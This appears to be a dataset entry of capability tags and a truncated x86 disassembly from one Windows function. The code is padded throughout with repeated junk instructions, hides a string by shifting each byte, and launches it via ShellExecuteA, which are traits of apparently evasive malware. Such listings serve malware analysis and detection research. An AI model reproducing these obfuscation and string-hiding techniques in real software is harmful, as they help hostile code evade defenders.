Function at 0x4016a0
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
push edi
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ax, word [0x40a0f8]
mov word [ebp - 0x390], ax
lea ecx, [ebp - 0x390]
mov dword [ebp - 0x258], ecx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x258], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
call fcn.00401170
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 0x379], 0
mov byte [ebp - 9], 0
mov byte [ebp - 0x25e], 0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x384], 0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 0x231], 0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov dword [ebp - 8], 0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 0x120], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x378], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x377]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x230], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x254], 0
xor eax, eax
mov dword [ebp - 0x253], eax
mov dword [ebp - 0x24f], eax
mov dword [ebp - 0x24b], eax
mov dword [ebp - 0x247], eax
mov dword [ebp - 0x243], eax
mov dword [ebp - 0x23f], eax
mov dword [ebp - 0x23b], eax
mov word [ebp - 0x237], ax
mov byte [ebp - 0x235], al
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov dword [ebp - 0x268], 0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov dword [ebp - 0x25c], 0x7f
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 0x385], 0
mov byte [ebp - 0x25d], 0
mov byte [ebp - 0x25f], 0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 0x104
lea ecx, [ebp - 0x120]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea edx, [ebp - 0x120]
push edx
call fcn.00404890
add esp, 4
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea eax, [ebp - 0x378]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x258]
movsx edx, byte [ecx]
cmp edx, 0x5f
jne 0x401dcc
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [str.dwoknqdq_dwd]
mov dword [ebp - 0x3a0], eax
mov ecx, dword [0x40a100]
mov dword [ebp - 0x39c], ecx
mov edx, dword [0x40a104]
mov dword [ebp - 0x398], edx
mov al, byte [0x40a108]
mov byte [ebp - 0x394], al
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov dword [ebp - 0x3a4], 0
jmp 0x401b93
mov ecx, dword [ebp - 0x3a4]
add ecx, 1
mov dword [ebp - 0x3a4], ecx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea edx, [ebp - 0x3a0]
mov dword [ebp - 0x3b4], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x3b4]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x401c40
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x3b4]
lea eax, [ebp - 0x3a0]
sub edx, eax
mov dword [ebp - 0x3b8], edx
jmp 0x401c7e
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x3b4]
add ecx, 1
mov dword [ebp - 0x3b4], ecx
jmp 0x401bc9
mov edx, dword [ebp - 0x3a4]
cmp edx, dword [ebp - 0x3b8]
jae 0x401d03
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x3a4]
movsx ecx, byte [ebp + eax - 0x3a0]
add ecx, 1
mov edx, dword [ebp - 0x3a4]
mov byte [ebp + edx - 0x3a0], cl
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x401b84
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 1
push 0
lea eax, [ebp - 0x378]
push eax
lea ecx, [ebp - 0x3a0]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x401edd
mov edx, dword [ebp - 0x258]
movsx eax, byte [edx]
cmp eax, 0x2e
jne 0x401e3a
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 0x25d], 1
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x403b9d
mov ecx, dword [ebp - 0x258]
movsx edx, byte [ecx]
cmp edx, 0x24
jne 0x401edd
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 0x25f], 1
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 0x25d], 1
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x403b9d
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea eax, [ebp - 0x120]
mov dword [ebp - 0x3bc], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x3bc]
movsx edx, byte [ecx]
test edx, edx
jne 0x401f8a
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x3bc]
lea ecx, [ebp - 0x120]
sub eax, ecx
mov dword [ebp - 0x3c0], eax
jmp 0x401fc8
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x3bc]
add edx, 1
mov dword [ebp - 0x3bc], edx
jmp 0x401f13
mov eax, dword [ebp - 0x3c0]
lea ecx, [ebp + eax - 0x120]
mov dword [ebp - 0x14], ecx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x120]
sub edx, eax
mov dword [ebp - 0x380], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
cmp dword [ebp - 0x380], 1
jle 0x4020b0
mov ecx, dword [ebp - 0x14]
movsx edx, byte [ecx]
cmp edx, 0x5c
je 0x4020b0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x14]
sub eax, 1
mov dword [ebp - 0x14], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x40203d
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x14]
movsx edx, byte [ecx]
cmp edx, 0x5c
jne 0x4020f0
mov eax, dword [ebp - 0x14]
movsx ecx, byte [eax + 1]
test ecx, ecx
jne 0x402121
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
xor eax, eax
jmp 0x404519
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x26c], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x26c]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x402204
mov edx, dword [ebp - 0x26c]
lea eax, [ebp - 0x120]
cmp edx, eax
jbe 0x402204
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x26c]
sub ecx, 1
mov dword [ebp - 0x26c], ecx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x40217e
mov edx, dword [ebp - 0x26c]
lea eax, [ebp - 0x120]
cmp edx, eax
ja 0x402245
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
xor eax, eax
jmp 0x404519
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x26c]
mov dword [ebp - 0x264], ecx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x26c]
movsx eax, byte [edx]
cmp eax, 0x3a
je 0x402435
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x26c]
movsx edx, byte [ecx]
cmp edx, 0x5c
je 0x402367
mov eax, dword [ebp - 0x26c]
lea ecx, [ebp - 0x120]
cmp eax, ecx
jbe 0x402367
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x26c]
sub edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x4022e1
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x26c]
movsx ecx, byte [eax]
cmp ecx, 0x5c
je 0x4023d0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
xor eax, eax
jmp 0x404519
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x26c]
add edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x402498
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x26c]
sub eax, 1
mov dword [ebp - 0x26c], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
